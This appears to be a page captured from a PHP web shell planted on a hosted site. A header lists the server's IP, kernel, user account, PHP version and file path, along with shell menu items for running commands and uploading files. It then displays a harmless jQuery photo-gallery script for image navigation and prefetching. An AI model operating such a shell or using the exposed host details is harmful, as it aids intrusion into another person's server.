gzuncompress
|
Server IP : 172.19.0.2 / Your IP : 216.73.216.178 Web Server : Apache/2.4 System : Linux 880f91b28fd7 5.15.0-117-generic #127~20.04.1-Ubuntu SMP Thu Jul 11 15:36:12 UTC 2024 x86_64 User : tomlinde ( 155017) PHP Version : 5.6.40 Disable Function : dl, syslog, opcache_get_status MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0700) : /home/webpages/lima-city/tomlinde/html/videoandreagallery/internals/themes/default/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
|---|
var CACHE_RANGE = 3;
var fitPicToggle = true;
$('#container').live("swiperight", function(event){prevPic();});
$('#container').live("swipeleft", function(event){nextPic();});
$('#pic').live("click", function(event){nextPic();});
//this is just for the first picture, for later prefetching see picByNum()
$(document).ready(function() {
$('#pic').load(function(){
fitPic();
updateCache(currentPic, CACHE_RANGE, 0);
return false; // cancel event bubble
})
.each(function(){
// trigger events for images that have loaded,
// other images will trigger the event once they load
if ( this.complete && this.naturalWidth !== 0 ) {
$( this ).trigger('load');
}
});
});
//fitPic can be problematic, when it triggers a resize event, since this triggers fitPic again...
function fitPic() {
$('#pic').width("auto");
$('#pic').height("auto");
if(fitPicToggle){
//screen resolution (IE sucks...)
//var x = window.innerWidth - 20;
//var y = window.innerHeight - 20;
var x = $(window).width() - 20;
var y = $(window).height() - 20;
//only scale if the picture is lager than the screen
if( $('#pic').width() > x || $('#pic').height() > y){
var ratio = $('#pic').width() / $('#pic').height();
var widthBasedHeight = x * (1/ratio);
// decide if the scaling should on the base of the with or the height
if(y > widthBasedHeight){
$('#pic').width(x + "px");
$('#pic').height(widthBasedHeight + "px");
} else {
$('#pic').width((y*ratio) + "px");
$('#pic').height(y + "px");
}
}
}
$('#pic').show();
}
function updateCache(base, range, accu){
if(base != currentPic)
return; // to finish prefetching when the base has change (user clicked nextPic)
if(typeof accu == "undefined" )
accu = 0;
var numToFetch = -1;
for(var i=1; i<=range*2; i++){
if(i%2==1){
//forward fetch
var num = base + ((i-1)/2 +1)
var result = imageExistsInCache(num);
} else {
// backward fetch
var num = base - (i/2)
var result = imageExistsInCache(num);
}
if(!result){
numToFetch = normalizeNum(num);
break;
}
}
updateTechMessage();
if(numToFetch > -1){
var img = new Image();
img.style.display="none";
img.src = urlByCacheSize("cachedImage.php?path=" + activeFolder + "/&name=" + myPics[numToFetch]);
img.id = "pic" + numToFetch;
if(accu + 1 < range*2)
img.setAttribute("onload", "updateCache(" + base + ", " + range + ", " + (accu + 1) + ");");
else
cleanCache(base, range);
$("#picCacheContainer").append(img);
} else
cleanCache(base, range);
}
function updateTechMessage(){
for(i=1; i<CACHE_RANGE; i++){
if(!imageExistsInCache(currentPic + i))
break;
}
$('#techMessages').text("prefetching: " + i + "/" + CACHE_RANGE);
}
//cleans the cache from old images after the cache is uptodate
function cleanCache(base, range){
for(var i=0; i<myPics.length; i++){
var isInRange = false
if(base + range > myPics.length && base+range - myPics.length >= i)
isInRange = true
if(base - range < 0 && base-range + myPics.length <= i)
isInRange = true
if(i >= base - range && i <= base + range)
isInRange = true
if(!isInRange && imageExistsInCache(i))
$('#pic' + i).remove();
}
}
function imageExistsInCache(num){
num = normalizeNum(num)
return ($('#pic' + num).size() > 0);
}
function nextPic() {
//FIXME: for this I should use something else than confirm (translation...)
if(currentPic + 1 >= myPics.length){
if(confirm('Sie haben das letzte Bild errreicht. Möchten Sie von wieder von vorne beginnen?'))
picByNum(currentPic + 1);
} else
picByNum(currentPic + 1);
}
function prevPic() {
picByNum(currentPic - 1);
}
function picByNum(num){
currentPic = normalizeNum(num);
var url = urlByCacheSize("cachedImage.php?path=" + activeFolder + "/&name=" + myPics[currentPic]);
$('#picCacheContainer img').removeAttr("onload");
$('#pic').attr("src", url);
$('#pic').load(function(){
fitPic();
updateCache(num, CACHE_RANGE, 0);
});
updateTechMessage();
}
function toggleFitPic(){
if(fitPicToggle){
fitPicToggle = false;
$('#pic').width("auto");
$('#pic').height("auto");
} else {
fitPicToggle = true;
fitPic();
}
}
function normalizeNum(num){
while(num < 0) num = num + myPics.length;
while(num >= myPics.length) num = num - myPics.length;
return num;
}